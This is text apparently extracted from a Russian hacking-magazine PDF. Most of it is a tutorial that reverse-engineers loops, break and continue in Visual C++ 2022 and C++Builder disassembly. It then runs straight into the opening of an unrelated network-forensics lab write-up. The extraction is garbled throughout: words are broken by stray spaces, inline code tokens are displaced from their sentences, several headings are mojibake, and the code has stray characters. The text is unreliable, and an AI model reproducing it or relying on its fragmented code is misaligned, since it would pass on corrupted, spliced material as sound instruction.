Что ж, опе ратор  в обо их цик лах выг лядит оди нако во и эле мен тарно рас- 

позна ется (прав да, не с пер вого взгля да, но при отсле жива нии нес коль ких
перехо дов — да). А вот с бес конеч ными цик лами неоп тимизи рующий ком- 
пилятор под качал: получен ный код про веря ет усло вие, истинность (неис- 
тинность) которо го оче вид на. Инте рес но, как поведет себя опти мизи рующий
ком пилятор?

break
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Да вай откомпи лиру ем тот же самый при мер ком пилято ром Microsoft Visual
C++ 2022 с клю чом  (опти миза ция по ско рос ти) и пос мотрим, что получит- 

ся:

/O2

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

000000014000400C↓o
    arg_0           = qword ptr 8

; Объявляем и инициализируем аргумент
                     mov [rsp+arg_0], rbx

; Сохраняем RDI в стеке
                   push rdi

                     sub rsp, 20h
; printf("1-й оператор\n"); — выводим строку до начала 
какого-либо цикла!
; Значит, компилятор предсказал хотя бы одно выполнение итерации 
цикла

                         lea rcx, _Format ; "1-й"
                   call printf

; Инициализация регистровых переменных:
                     mov ebx, 2

; Записав в EBX значение 2: var_EBX = 2, очень похожее на потолок 
нашего цикла,
; копируем это значение в EDI: var_RDI = 2

                     mov edi, ebx
                      nop dword ptr [rax]

; Перекрестная ссылка, направленная вперед. Это начало цикла
loc_140001090:                          ; CODE XREF: main+3C↓j

Ага! В начале цик ла нет никаких про верок. Получа ется, опти мизи рующий ком- 
пилятор прев ратил цикл с пре дус лови ем в цикл с пос тусло вием и пред ска зал
еще одну выпол ненную ите рацию. Впол не воз можно, где-то в его середи не
при таилось усло вие выхода.

; printf("2-й оператор\n");
                     lea rcx, a2D        ; "2-й"
                   call printf

; printf("1-й оператор\n");
                         lea rcx, _Format ; "1-й"
                   call printf

Пос мотри-ка! Ока зыва ется, ите рация сос тоит из вывода двух строк, а перед
началом цик ла была выведе на толь ко одна. Зна чит, меж ду коман дами печати
находит ся усло вие выхода из цик ла!

Вы чита ем из  чис ло 1 ( )... Пос той, в исходном коде в пер вом

цик ле был инкре мент! Такие пре обра зова ния ком пилято ру ник то делать
не зап реща ет. Если ему кажет ся, что так быс трее, его пра во.

RDI var_RDI--

                 sub rdi, 1

Инс трук ция  поз волила не при менять  для срав нения зна чений (вот тебе

и уско рение!). Если ( ), перехо дим к началу цик ла. Сле дова тель но,

выход из цик ла про изой дет, ког да выпол нится усло вие ( ).

SUB CMP
var_RDI > 0

var_RDI <= 0

                 jnz short loc_140001090

Как вид но, опти мизи рующий ком пилятор выкинул никому не нуж ные про вер ки
усло вия, упростив код и облегчив его понима ние. Про изво дим деком пиляцию
пер вого цик ла:

  var_RDI = 2;
 for (;;) // Вырожденный for представляет собой бесконечный цикл

{
    printf("1-й оператор\n");
   --var_RDI;
       if (var_RDI <= 0) break;
    printf("2-й оператор\n");

}

Та кой цикл явно луч ше, чем !while(true)
Пос ле кон ца пер вого цик ла до начала вто рого вызыва ется пер вый опе ратор

для вывода стро ки, точ но так же, как это было в начале прог раммы:

; printf("1-й оператор\n");
                         lea rcx, _Format ; "1-й"
                   call printf

                      nop word ptr [rax+rax+00h]
; Перекрестная ссылка — начало второго цикла
loc_1400010C0:                          ; CODE XREF: main+6B↓j
; А цикл начинаем с оператора № 2 вывода строки, подобно тому, 
как это было в первом цикле
; printf("2-й оператор\n");

                     lea rcx, a2D        ; "2-й"
                   call printf

; printf("1-й оператор\n");
                         lea rcx, _Format ; "1-й"
                   call printf

; Уменьшаем значение в регистре EBX на 1: var_EBX--
; Как мы помним, в EBX находится потолок цикла, равно как было в 
RDI

                     sub ebx, 1

Пе реход в начало цик ла осу щест вля ется, ког да флаг . Сле дова тель но,

выход из цик ла про исхо дит, ког да флаг , а он будет равен еди нице
толь ко в слу чае, если в резуль тате пре дыду щего вычита ния получи лось отри- 
цатель ное зна чение.

SF == 0
SF == 1

                 jns short loc_1400010C0

Все это намека ет на сле дующий код вто рого цик ла:

  var_EBX = 2;
 for (;;)

{
   printf("1-й оператор\n");
   --var_EBX;
       if (var_EBX < 0) break;
   printf("2-й оператор\n");

}

; Восстанавливаем регистры перед выходом
                     mov rbx, [rsp+28h+arg_0]
                     xor eax, eax
                     add rsp, 20h
                    pop rdi

               retn
main            endp

Для пред став ления бес конеч ных цик лов в деком пилиро ван ном коде мы вос- 
поль зовались вырож денным , который не име ет ни пред-, ни пос тусло вия,
потому что дизас сем бли рован ный лис тинг не дал нам ни малей шего намека
на при сутс твие цик ла дру гого типа!

for

Да... тут есть над чем подумать! Ком пилятор нор маль но «перева рил» пер- 
вую стро ку цик ла , а затем «напорол ся» на вет вле- 

ние: . Хит рые пар ни из Microsoft зна ют, что для супер ска- 

ляр ных супер конвей ерных про цес соров, к которым отно сят ся сов ремен ные
чипы от Intel и AMD, вет вле ния все рав но что чер тополох для Тиг ры. Вот и при- 
ходит ся ком пилято ру исправ лять ляпы прог раммис та, что он делать в прин- 
ципе не обя зан, но за что ему боль шое челове чес кое спа сибо!

printf("1-й оператор\n")
if (--a < 0) break

Ком пилятор как бы «прок ручива ет», «слеп ляя» вызовы фун кций 

и вынося вет вле ния в конец. Образно исполня емый код мож но пред ста вить
трас сой, а про цес сор — гон щиком. Чем длин нее учас ток дороги без поворо- 
тов, тем быс трее его прос кочит гон щик. Выносить усло вие из середи ны цик ла
в его конец впол не допус тимо, ведь перемен ная, отно ситель но которой
выпол няет ся вет вле ние, не модифи циру ется ни фун кци ей ,

ни какой-либо дру гой. Поэто му не все ли рав но, где ее про верять? Конеч но
же, не все рав но!

printf

printf

К момен ту, ког да усло вие  ста новит ся истинно, успе вает выпол- 

нить ся пер вый , а вот вто рой уже не получа ет управле ния. Вот для это- 
го-то ком пилятор и помес тил код про вер ки усло вия сле дом за пер вым
вызовом пер вой фун кции , а затем изме нил порядок вызова 

в теле цик ла. Это при вело к тому, что на момент выхода из цик ла по усло вию
пер вый  выпол няет ся на один раз боль ше, чем вто рой, так как он встре- 

чает ся дваж ды.

--а < 0
printf

printf printf

printf

Ох и неп росто разоб рать ся во всей этой голово лом ке, а пред ставь, дорогой
друг, нас коль ко слож но реали зовать ком пилятор, уме ющий про делы вать такие
фокусы!

А еще кто-то руга ет авто мати чес кую опти миза цию. Да уж! Конеч но,
руками-то мож но и кру че опти мизи ровать (осо бен но понимая смысл кода),
но ведь эдак и моз ги недол го вывих нуть! А ком пилятор, даже будучи стис нут
со всех сто рон кри вым кодом прог раммис та, за доли секун ды успе вает его
доволь но при лич но окуль турить!

C++Builder 10
Весь ма разитель но отли чает ся тот же при мер, ском пилиро ван ный с помощью
Embarcadero C++Builder. При этом с вклю чен ной опти миза цией по ско рос ти
(O2), как и в прош лые разы, получа ется гру да пос ледова тель ных вызовов фун- 
кций вывода строк. А вот вари ант без опти миза ции впол не зас лужива ет нашего
вни мания и кри тики:

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: 
__acrtused+29↑o
; Объявляется восемь локальных переменных!

   var_24          = dword ptr -24h
   var_20          = dword ptr -20h
   var_1C          = dword ptr -1Ch
   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

                   push rbp
                     sub rsp, 50h
                     lea rbp, [rsp+50h]

; Инициализация некоторых из них
                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx
                     mov [rbp+var_14], 0

; Начало первого цикла
loc_40141F:                             ; CODE XREF: main+4D↓j

Все дос таточ но пря моли ней но: вызов опе рато ра вывода пер вой стро ки —
. Заметь, про верок нет, зна чит, все-таки ком- 

пилятор переде лал цикл с пре дус лови ем в цикл с пос тусло вием или усло вием
в середи не.

printf("1-й оператор\n")

                      lea rcx, a1IOperator ; "1-й оператор\n"
                   call printf

; Регистру EDX присваиваем значение переменной var_14, а там у 
нас изначально 0,
; var_EDX = 0

                     mov edx, [rbp+var_14]
; Увеличиваем значение в регистре на 1...

                     add edx, 1
; ...и возвращаем значение в память

                     mov [rbp+var_14], edx
; Сравниваем значение var_EDX с константой 2

                     cmp edx, 2
                     mov [rbp+var_18], eax

; Если (var_EDX <= 2), продолжаем выполнять цикл...
                     jle short loc_40143E

; ...иначе «выпрыгиваем» из первого цикла
                     jmp short loc_40144F

; --------------------------------
loc_40143E:                             ; CODE XREF: main+3A↑j

Про дол жая выпол нение пер вого цик ла, выводим вто рую стро ку — 

. Отчетли во вид но, что в теле цик ла, меж ду дву мя опе рато- 

рами вывода строк, находит ся усло вие для выхода из цик ла.

printf("2-
й оператор\n")

                  lea rcx, a2IOperator ; "2-й оператор\n"
               call printf

                 mov [rbp+var_1C], eax
; Безусловный переход к началу первого цикла

                 jmp short loc_40141F

Ре зуль тиру ющая деком пиляция пер вого цик ла:

  var_EDX = 0;
  for (;;) {

   printf("1-й оператор\n");
   var_EDX++;
       if (var_EDX > 2) break;
   printf("2-й оператор\n");

}

; --------------------------------
loc_40144F:                             ; CODE XREF: main+3C↑j

                     jmp short $+2
; --------------------------------
; Начало второго цикла
loc_401451:                             ; CODE XREF: main:
loc_40144F↑j
                                       ; main+83↓j

; В начале нет условия,
; выводим надпись № 1

                      lea rcx, a1IOperator ; "1-й оператор\n"
                   call printf

; Значение переменной var_14 присваиваем регистру EDX, а в ней у 
нас осталось число 2:
; var_EDX = 2

                     mov edx, [rbp+var_14]
; var_EDX = var_EDX +- 1

                     add edx, 0FFFFFFFFh
; var_14 = var_EDX

                     mov [rbp+var_14], edx
; Сравнение var_EDX с 0

                     cmp edx, 0
                     mov [rbp+var_20], eax

; Если (var_EDX >= 0), продолжаем выполнение цикла
                     jge short loc_401470

; Иначе идем в конец программы прибирать свои нули
                     jmp short loc_401487

; --------------------------------
loc_401470:                             ; CODE XREF: main+6C↑j
; В продолжение выполнения цикла выводим строку № 2

                      lea rcx, a2IOperator ; "2-й оператор\n"
                   call printf

                     mov [rbp+var_24], eax
                     mov al, 1
                    test al, 1

; Если (ZF == 0), переходим к началу второго цикла,
; в данных условиях ZF никогда не будет равна единице, так как ((
test al, 1) != 0)

                     jnz short loc_401451
; Перепрыгнув инструкцию, идем на выход

                     jmp short $+2

Ито говая деком пиляция вто рого цик ла:

  var_EDX = 2;
  for (;;) {

   printf("1-й оператор\n");
   var_EDX--;
       if (var_EDX < 0) break;
   printf("2-й оператор\n");

}

; --------------------------------
loc_401487:                             ; CODE XREF: main+6E↑j
                                       ; main+85↑j

; На выходе прибираем за собой
                     mov [rbp+var_4], 0
                     mov eax, [rbp+var_4]
                     add rsp, 50h
                    pop rbp

               retn
main            endp

Ком пилятор C++Builder при тран сля ции бес конеч ных цик лов заменя ет код
про вер ки усло вия про дол жения цик ла безус ловным перехо дом. Но вот опти- 
мизи ровать вет вле ния, вынося их в конец цик ла так, как это дела ет Visual C++
2022, он не уме ет.

Èäåíòèôèêàöèÿ continue
Те перь, пос ле , рас смот рим, как ком пилято ры тран сли руют его «астраль- 

ный анти под» — опе ратор . Взгля нем на сле дующий при мер
( ).

break
continue

cycle_continue

#include <stdio.h>

 int main()
{
      int a = 0;

      while (a++ < 10)
   {

           if (a == 2) continue;
        printf("%x\n", a);

   }

   do
   {

           if (a == 2) continue;
        printf("%x\n", a);

       } while (--a > 0);
}

Вы вод при ложе ния cycle_continue

Visual C++ 2022 ñ âûêëþ÷åííîé îïòèìèçàöèåé
Ре зуль тат работы ком пилято ра Visual C++ 2022 с отклю чен ной опти миза цией
будет выг лядеть так:

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

0000000140004018↓o
   var_a          = dword ptr -18h
   var_14          = dword ptr -14h

                     sub rsp, 38h
; Присваиваем локальной переменной var_a значение 0

                     mov [rsp+38h+var_a], 0
loc_1400010EC:                          ; CODE XREF: main+2C↓j  
main+3E↓j
                                  ;                 ^^^^^^^^^  

^^^^^^^^^

Две перек рес тные ссыл ки, нап равлен ные впе ред, говорят о том, что это либо
начало двух цик лов (один из которых вло жен ный), либо переход в начало цик ла
опе рато ром .continue

; Загружаем в EAX значение var_a
                     mov eax, [rsp+38h+var_a]

; Загружаем в var_14 значение EAX
                     mov [rsp+38h+var_14], eax
                     mov eax, [rsp+38h+var_a]

; Инкрементируем значение в регистре EAX
                    inc eax

; Обновляем переменную var_a
                     mov [rsp+38h+var_a], eax

; Сравниваем значением var_a до увеличения с числом 0xA
                     cmp [rsp+38h+var_14], 0Ah

; Выход из первого цикла (переход в начало второго цикла), если 
var_a >= 0xA

                     jge short loc_140001120
; Сравниваем var_a со значением 0x2

                     cmp [rsp+38h+var_a], 2

Ес ли , выпол няет ся пры жок на коман ду, сле дующую за инс трук- 
цией безус ловно го перехо да, которая нап равле на вверх — в начало цик ла.
Очень похоже на усло вие выхода из цик ла, но не будем спе шить с вывода ми!
Вспом ним, в начале цик ла нам встре тились две перек рес тные ссыл ки. Безус- 
ловный переход  как раз обра зует одну из них. А кто

«отве чает» за дру гую? Что бы это узнать, необ ходимо про ана лизи ровать
осталь ной код цик ла.

(var_a != 2)

jmp short loc_1400010EC

                 jnz short loc_14000110E

Нап равлен ный в начало цик ла безус ловный переход — это либо конец цик ла,
либо . Пред положим, что это конец цик ла. Тог да что же пред став ляет

собой ? Пре дус ловие выхода из цик ла? Не похоже,

в таком слу чае оно пры гало бы гораз до «бли же» — на мет ку .

continue
jge short loc_140001120

loc_14000110E
А может,  — пре дус ловие одно го цик ла, а 

 — пос тусло вие дру гого, вло жен ного в него? Впол не

воз можно, но малове роят но: в этом слу чае пос тусло вие пред став ляло бы
собой усло вие про дол жения, а не завер шения цик ла. Поэто му с некото рой
долей неуве рен ности мы можем при нять конс трук цию: 

 за .

jge short loc_140001120 jnz 
short loc_14000110E

CMP var_a, 2 \ JNZ 
loc_14000110E \ JMP loc_1400010EC if (a == 2) continue

                     jmp short loc_1400010EC
; --------------------------------
loc_14000110E:                          ; CODE XREF: main+2A↑j

                     mov edx, [rsp+38h+var_a]
; printf("%x\n", a);

                         lea rcx, _Format ; "%x\n"
                   call printf

А вот это явно конец цик ла, так как  — самая пос- 

ледняя ссыл ка на начало цик ла. Итак, подыто жим. Рас положен ное в начале
цик ла усло вие кру тит этот цикл до тех пор, пока , при чем инкре- 
мент парамет ра цик ла про исхо дит до его срав нения. Затем сле дует еще одно
усло вие, воз вра щающее управле ние в начало цик ла, если . Строй

замыка ет опе ратор цик ла  и безус ловный переход в его начало.

jmp short loc_1400010EC

var_a < 0xA

var_a == 2
printf

                 jmp short loc_1400010EC

Та ким обра зом, получа ется сле дующая кар тина.

Продолжение статьи →



ПРАКТИКУЕМСЯ В ПОИСКЕ ЦИКЛОВ ПРИ
РЕВЕРСЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Ус ловие «ближ него» про дол жения не может быть кон цом цик ла, так как тог да
усло вию «далеко го» выхода приш лось бы вый ти аж из над лежаще го цик ла,
на что ни , ни дру гие опе рато ры не спо соб ны. Таким обра зом, усло вие

«ближ него» про дол жения может быть толь ко опе рато ром , и на язы ке
C/C++ вся эта конс трук ция будет выг лядеть так:

break
continue

  while(a++ < 10)           // <- инкремент var_a и условие 
далекого выхода
{
        if (a == 2) continue; // <- условие «ближнего» продолжения
    printf("%x\n",var_a); // <- тело цикла

}                         // <- безусловный переход на начало 
цикла

; --------------------------------
loc_140001120:                          ; CODE XREF: main+23↑j  
main+68↓j
                             ;                     ^^^^^^^^^   

^^^^^^^^^
; Начало цикла
; Сравниваем переменную var_a с числом 0х2

                     cmp [rsp+38h+var_a], 2
; Если var_a != 2, то продолжение цикла

                     jnz short loc_140001129
; Переход к коду проверки условия продолжения цикла

                     jmp short loc_140001139

; Это, бесспорно, continue, и вся конструкция выглядит так:
; if (a == 2) continue;

; --------------------------------
loc_140001129:                          ; CODE XREF: main+45↑j

                     mov edx, [rsp+38h+var_a]
; printf("%x\n",var_a);

                      lea rcx, asc_140002254 ; "%x\n"
                   call printf

loc_140001139:                          ; CODE XREF: main+47↑j
                     mov eax, [rsp+38h+var_a]

; var_a--;
                    dec eax

; Обновление переменной в памяти значением из регистра
                     mov [rsp+38h+var_a], eax

; Сравнение var_a с нулем
                     cmp [rsp+38h+var_a], 0

; Пока (var_a > 0), продолжать цикл
                jg      short loc_140001120

По хоже на пос тусло вие. В таком слу чае исходный код дол жен выг лядеть так:

do
{
       if (a == 2) continue;
    printf("%x\n", var_a);
    } while (--var_a > 0);

         xor eax, eax
                 add rsp, 38h

           retn
main            endp

Visual C++ 2022 ñ âêëþ÷åííîé îïòèìèçàöèåé

А теперь пос мотрим, как пов лияла опти миза ция ( ) на вид цик лов:/O2

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

000000014000400C↓o
                   push rbx

                     sub rsp, 20h
; Обнуление EBX: var_EBX = 0

                     xor ebx, ebx
loc_140001078:                          ; CODE XREF: main+20↓j
; Начало цикла:
; var_EBX++

                    inc ebx
; Сравнение var_EBX с 2

                     cmp ebx, 2
; Переход на метку loc_14000108D, если var_EBX == 2

                jz      short loc_14000108D
                     mov edx, ebx

; Если не ушли на метку в случае var_EBX != 2, выводим var_EBX на 
экран:
; printf("%x\n", var_EBX);

                         lea rcx, _Format ; "%x\n"
                   call printf

Сле дова тель но, эту вет ку кода мож но изоб разить так:

   "if (var_EBX ! = 2) printf("%x\n", var_EBX);"

loc_14000108D:                          ; CODE XREF: main+D↑j
                     cmp ebx, 0Ah

; Продолжение цикла, пока (var_EBX++ < 0xA)
                jl      short loc_140001078

                    inc ebx

В ито ге мы можем деком пилиро вать цикл сле дующим обра зом:

do
{
      if (var_EBX != 2)

        printf("%x\n", var_EBX);
    } while (var_EBX++ < 0xA);

А что, выг лядит впол не читабель но, не прав да ли? Ничуть не хуже, чем 
.if (var_EBX == 2) continue

loc_140001094:                          ; CODE XREF: main+3B↓j
; Начало цикла

                     cmp ebx, 2
; Переход на метку loc_1400010A7, если (var_EBX == 2)

                jz      short loc_1400010A7
                     mov edx, ebx
                         lea rcx, _Format ; "%x\n"

; printf("%x\n", var_EBX);
; Эта ветка выполняется, лишь когда (var_EBX != 2)

                   call printf
loc_1400010A7:                          ; CODE XREF: main+27↑j
; var_EBX--;

                    dec ebx
                    test ebx, ebx

; Условие продолжения цикла — крутить, пока (var_EBX > 0)
                jg      short loc_140001094

В ито ге деком пилиро ван ный цикл выг лядит при мер но так:

   do
   {

          if (var_EBX != 2)
            printf("%x\n", var_EBX);

       } while (--var_EBX > 0)

                     xor eax, eax–
                     add rsp, 20h
                    pop rbx

               retn
main            endp

C++Builder 10 ñ âêëþ÷åííîé îïòèìèçàöèåé

До воль но инте рес ный обра зец кода получа ется у C++Builder 10.4 с вклю чен- 
ной опти миза цией по ско рос ти — :/O2

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: 
__acrtused+29↑o
; Ни одной локальной переменной, зато массовое использование 
регистров

                   push rbp
                   push rsi
                   push rdi

                     sub rsp, 20h
                     lea rbp, [rsp+20h]

; var_EAX = 1
                     mov eax, 1

; В RSI помещаем указатель на форматную строку
                     lea rsi, unk_44D000
                      nop dword ptr [rax+rax+00000000h]

loc_401420:                             ; CODE XREF: main+2A↓j  
main+3C↓j
                                                  ;^^^^^^^^^  

^^^^^^^^^
; Начало первого цикла
; var_EDI = var_EAX

                     mov edi, eax        ; Format
                     mov eax, 3

; Сравнение var_EDI и 2
                     cmp edi, 2

; Если (var_EDI == 2), переходим в начало цикла,
; это означает условие с continue

                jz      short loc_401420
; Первый параметр для printf — форматная строка

                     mov rcx, rsi
; Второй параметр для printf — число для вывода

                     mov edx, edi
                   call printf

; Таким хитрым образом C++Builder инкрементирует значение 
регистровой переменной

                     lea eax, [rdi+1]
; Сравниваем var_EDI с 0xA,
; В var_EDI хранится значение счетчика до инкремента

                     cmp edi, 0Ah
; Прыгаем в начало цикла, пока (var_EDI < 0xA)

                jl      short loc_401420

На осно ве име ющих ся дан ных мож но деком пилиро вать этот код:

  var_EAX = 1;
do
{
     var_EDI = var_EAX;
     var_EAX = 3;
       if (var_EDI == 2) continue;
    printf("%x\n", var_EDI);

}
   while (var_EDI++ < 0xA);

Он получил ся излишне перег ружен ным, опти мизи руем:

do
{
      if (var_EDI != 2)

        printf("%x\n", var_EDI);
}

   while (var_EDI++ < 0xA);

; Подготовка для второго цикла
                     lea rsi, unk_44D000

                 db      66h, 66h, 2Eh
                      nop word ptr [rax+rax+00000000h]

loc_401450:                             ; CODE XREF: main+5A↓j  
main+6C↓j
;                                                        
^^^^^^^^^^  ^^^^^^^^^
; Начало второго цикла
; После выполнения первого цикла в var_EAX находится максимальное 
значение — 0xA

                     mov edi, eax        ; Format
                     mov eax, 1

; Сравниваем var_EDI с 2
                     cmp edi, 2

; Если (var_EDI == 2), переходим в начало (второго) цикла
                jz      short loc_401450

; Подготовка параметров для вызова printf
                     mov rcx, rsi
                     mov edx, edi
                   call printf

; На этот раз декрементируем регистровую переменную
                     lea eax, [rdi-1]
                     cmp edi, 1

; Переходим в начало цикла, пока (var_EDI > 1)
                jg      short loc_401450

На осно ве име ющих ся дан ных этот код мож но деком пилиро вать таким обра- 
зом:

  var_EAX = 0xA;
do
{
     var_EDI = var_EAX;
     var_EAX = 1;
       if (var_EDI == 2) continue;
    printf("%x\n", var_EDI);

}
   while (var_EDI-- > 1);

Оп тимизи рован ный вари ант ты с лег костью пос тро ишь без моей помощи.

                     xor eax, eax
                     add rsp, 20h
                    pop rdi
                    pop rsi
                    pop rbp

               retn
main            endp

У C++Builder получил ся на ред кость строй ный код, который при ятно читать
и лег ко понимать! Оба цик ла C++Builder пре обра зовал в цик лы с пос тусло- 
вием, а усло вие про дол жения рас положе но в середи не. Осталь ные ком пилято- 
ры генери руют приб лизитель но такой же код. Общим для всех слу чаев будет
то, что на цик лах с пре дус лови ем опе ратор  прак тичес ки неот личим

от вло жен ного цик ла, а на цик лах с пос тусло вием  экви вален тен эле- 
мен тарно му вет вле нию.

continue
continue

ÖÈÊËÛ FOR Ñ ÍÅÑÊÎËÜÊÈÌÈ Ñ×ÅÒ×ÈÊÀÌÈ

Нас тала оче редь цик лов , вра щающих нес коль ко счет чиков одновре мен но.

Рас смот рим сле дующий при мер.

for

#include <stdio.h>

 int main()
{
                   for (int a = 1, b = 10; (a < 10 || b > 1); a++, b--)

         printf("%x %x\n", a, b);
}

Ре зуль тат выпол нения прог раммы for_WithSomeCounters.exe

Как мы пом ним из прош лой статьи, если пос тавить запятую меж ду усло виями,
ком пилято ром будет учте но толь ко самое пра вое из них. Поэто му два и более
усло вия надо соеди нять логичес кими опе раци ями.

Ди зас сем блер ный лис тинг этой прог раммы, пос тро енной в Visual C++
2022 с отклю чен ной опти миза цией, будет иметь сле дующий вид:

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

0000000140004018↓o
   var_b          = dword ptr -18h
   var_a          = dword ptr -14h

; Резервируем память для двух локальных переменных
                     sub rsp, 38h

; Инициализируем локальные переменные:
; присваиваем var_a значение 0x1

                     mov [rsp+38h+var_a], 1
; присваиваем var_b значение 0xA

                     mov [rsp+38h+var_b], 0Ah
; Прыжок на код проверки условия выхода из цикла
; Это характерная черта неоптимизированных циклов for

                     jmp short loc_14000110A
; --------------------------------
; Перекрестная ссылка, направленная вниз, говорит о том, что это 
начало цикла
; А выше мы уже выяснили, что тип цикла — for
loc_1400010F6:                          ; CODE XREF: main+4D↓j
; var_a++;

                     mov eax, [rsp+38h+var_a]
                    inc eax
                     mov [rsp+38h+var_a], eax

; var_b--;
                     mov eax, [rsp+38h+var_b]
                    dec eax
                     mov [rsp+38h+var_b], eax

loc_14000110A:                          ; CODE XREF: main+14↑j
                     cmp [rsp+38h+var_a], 0Ah

; Если (var_a < 0xA), прыгаем в секцию продолжения цикла и вывода 
строки

                jl      short loc_140001118
                     cmp [rsp+38h+var_b], 1

; Выход из цикла, если (var_b <= 0x1)
                     jle short loc_14000112F

loc_140001118:                          ; CODE XREF: main+2F↑j
; Готовим параметры для вызова printf

                     mov r8d, [rsp+38h+var_b]
                     mov edx, [rsp+38h+var_a]
                         lea rcx, _Format ; "%x %x\n"

; Сам вызов printf:
; printf("%x %x\n", var_a, var_b);

                   call printf
; Безусловный переход в начало цикла

                     jmp short loc_1400010F6
; --------------------------------
loc_14000112F:                          ; CODE XREF: main+36↑j

                     xor eax, eax
                     add rsp, 38h

               retn
main            endp

Как и полага ется, ком пилятор учел оба усло вия. Так как меж ду ними сто ит ,
если пер вое выпол няет ся, вто рое про верять не име ет смыс ла, и прог рамма
переп рыгива ет на ста дию вывода стро ки. Если же пер вое усло вие не сра баты- 
вает, то прог рамма обра баты вает вто рое усло вие.

OR

Оно было инверти рова но ком пилято ром на про тиво полож ное по срав нению
с исходным. Поэто му в слу чае его выпол нения про исхо дит выход из цик ла
и переход в завер шающую сек цию. Пос ле это го выпол нение прог раммы
самоте ком перехо дит к под готов ке парамет ров и выводу стро ки. Пос ле чего
пос редс твом безус ловно го перехо да осу щест вля ется пры жок в начало цик ла.

Этот цикл мож но пред ста вить как:

while(1)
{
   var_a++;
   var_b--;
          if (var_a < 0xA || var_b > 0x1)

         printf("%x %x\n", var_a, var_b);
}

Но по сооб ражени ям удо бочи таемос ти име ет смысл ском поновать этот код
в цикл :for

               for (var_a = 1, var_b = 0xA; (a < 10 || b > 1); var_a++, var_b--)
   printf("%x %x\n",var_a,var_b);

Ком пилятор без опти миза ции встав ляет безус ловный переход на код про вер ки
выхода из цик ла. А как поведет себя этот же ком пилятор с вклю чен ной опти- 
миза цией?

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

000000014000400C↓o
; Один аргумент

    arg_0           = qword ptr 8
                     mov [rsp+arg_0], rbx
                   push rdi

; Резервируем для него место в стеке
                     sub rsp, 20h

; Регистровые переменные:
; var_EDI = 0x1

                     mov edi, 1
; var_EBX = 0xA

                     lea ebx, [rdi+9]
loc_140001082:                          ; CODE XREF: main+31↓j

                     cmp edi, 0Ah
; Если (var_EDI < 0xA), переход на метку loc_14000108C, где 
происходит вывод строки
; и манипуляции со счетчиками

                jl      short loc_14000108C
                     cmp ebx, 1

; Если (var_EBX <= 1), идем на выход
                     jle short loc_1400010A3

loc_14000108C:                          ; CODE XREF: main+15↑j
; Готовим параметры, выводим строку

                     mov r8d, ebx
                         lea rcx, _Format ; "%x %x\n"
                     mov edx, edi
                   call printf

; Манипуляции со счетчиками:
; var_EDI++;

                    inc edi
; var_EBX--;

                    dec ebx
; Осуществляем безусловный переход в начало цикла

                     jmp short loc_140001082
; --------------------------------
loc_1400010A3:                          ; CODE XREF: main+1A↑j

                     mov rbx, [rsp+28h+arg_0]
                     xor eax, eax
                     add rsp, 20h
                    pop rdi

               retn
main            endp

Оп тимизи рован ный код выг лядит гораз до понят нее и яснее!
Ос таль ные ком пилято ры, в том чис ле Visual C++, обра баты вают выраже ния

ини циали зации и модифи кации счет чиков кор рек тно в поряд ке их объ явле ния
в тек сте прог раммы.

ÇÀÊËÞ×ÅÍÈÅ

Цик лы, подоб но условным опе рато рам, откры вают перед ком пилято рами
широкий прос тор для твор чес тва. В прос тых слу чаях одни ком пилято ры пред- 
ска зыва ют каж дый шаг выпол нения цик лов и пол ностью отка зыва ются от них,
дру гие — стро ят заковы рис тые трас сы, которые порой тор мозят кон вей ер
исполне ния про цес сора. Самые луч шие на деле вып равля ют код прог раммис- 
та, пре дос тавляя про цес сору опти маль ный мар шрут.

На этом мож но пос тавить точ ку в наших изыс кани ях с цик лами. Мы раз грыз- 
ли все име ющиеся типы цик лов язы ков C/C++ и Pascal/Delphi. Уви дели, как их
тран сли руют сов ремен ные вер сии ком пилято ров этих язы ков прог рамми рова- 
ния с вклю чен ной авто мати чес кой опти миза цией и без нее. Авто мати чес кая
опти миза ция тво рит с кодом чудеса! Она умень шает количес тво усло вий
и перехо дов, уско ряя прог рамму. Иног да пос ле ее исполь зования дизас сем- 
блер ный код ста новит ся более понятен, чем до нее.

В работе хакера иден тифика ция цик лов игра ет важ ную роль, потому что,
про пус тив или неп равиль но поняв одну мет ку, мож но испортить весь пред- 
варитель ный ана лиз, даже не поняв, что про пус тил цикл! Пос ле это го при дет ся
начинать тру доем кий ана лиз всей прог раммы с самого начала.
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Се год ня мы с тобой поп ракти куем ся в рас- 
сле дова нии инци ден тов и решим лабора- 
тор ную работу  с ресур са

. Научим ся раз бирать
сетевой тра фик, извле кать арте фак ты
и вос ста новим кар тину взло ма информа- 
цион ного ресур са.

HawkEye
CyberDefenders

Сог ласно сце нарию бух галтер орга низа ции получил элек трон ное пись мо,
содер жащее ссыл ку для ска чива ния сче та. Вско ре пос ле откры тия пись ма был
обна ружен подоз ритель ный сетевой тра фик. Наша задача в качес тве ана лити ка
SOC изу чить этот тра фик, выявить вре донос ный файл и обна ружить попыт ки
эксфиль тра ции дан ных.

По резуль татам решения кей са необ ходимо отве тить на ряд воп росов, но я
покажу сам про цесс решения, а не отве ты на них. Ты можешь сам пов торить
работу и прой ти опрос для зак репле ния зна ний.

Пер вым делом ска чаем файл  с сетевым тра фиком и прис тупим к его
иссле дова нию.

ар хива
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1.  — ана лиза тор сетевых про токо лов.Wireshark

2.  — инс тру мент сетево го кри мина лис тичес кого ана лиза.
Упро щает ана лиз тра фика, обна ружи вает опе раци онные сис темы хос тов, их
сетевые име на и так далее.

NetworkMiner

